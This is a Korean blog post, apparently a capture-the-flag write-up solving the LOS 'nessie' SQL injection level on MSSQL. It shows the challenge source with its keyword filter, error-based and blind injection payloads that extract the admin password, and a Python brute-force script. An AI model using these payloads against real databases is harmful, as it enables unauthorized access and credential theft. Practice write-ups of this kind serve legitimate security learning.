Post

LOS Lv.41 nessie

nessie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query : select id from prob_nessie where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select pw from prob_nessie where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("nessie"); 
  highlight_file(__FILE__);
?>

Solution

1
2
3
4
원래 하던 것처럼 하려했는데 계속 문법 오류가 남.
and, or 연산자 다음에 함수를 사용하면 문법 오류 발생 ㅡㅡ

계속 삽질 하다가.. 그냥 보고 지나쳤던 블로그를 다시 봤더니..

https://zulloper.tistory.com/6

1
2
3
4
5
6
7
"1. 버전 체크를 할 때"를 보면 어라라?

and 1=(select @@version) 이렇게 되어있음.

해봤더니? 에러 메시지에 버젼이 나옴!

따라서 ?id=admin' and 1=(select pw) --%20 하면 다음처럼 나옴.
1
Conversion failed when converting the varchar value 'uawe0f9ji34fjkl' to data type int.

따라서 비밀번호는 uawe0f9ji34fjkl

1
2
3
4
5
Blind sql injection으로 풀어보면 다음과 같음.

?id=admin' and 1=(iif(1=1,1,0)) --%20

에러를 확인하기 위해 서브쿼리를 이용함.
1
2
3
?id=admin' and 1=(iif(1=2,1,(select 1 union select 2)))

성공! 이걸로 이제 비밀번호를 알아내면 됨.
1
2
3
4
5
6
7
우선 비밀번호 길이

?id=admin' and 1=(iif(len(pw)>0,1,(select 1 union select 2))) --%20

계속 해보면 비밀번호 길이는 15인걸 알아낼 수 있음.

?id=admin' and 1=(iif(len(pw)=15,1,(select 1 union select 2))) --%20
1
2
3
이제 비밀번호 값을 알아낼꺼임. 

?id=admin' and 1=(iif(ascii(substring(pw,1,1))>48,1,(select 1 union select 2))) --%20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url='https://los.rubiya.kr/chall/nessie_7c5b5d8119ce2951f2a4f2b3a1824dd2.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

pw=''

for i in range(1,16) :
    for j in range(48,123) :
        payload={'id' : "admin' and 1=(iif(ascii(substring(pw,"+str(i)+",1))="+str(j)+",1,(select 1 union select 2))) -- "}
        res=requests.get(url, headers=headers, params=payload, cookies=cookies)
        if "Subquery returned more than 1 value." not in res.text :
            pw+=chr(j)
            print("pw : "+pw) # uawe0f9ji34fjkl
            break

print("NESSIE Clear!")
This post is licensed under CC BY 4.0 by the author.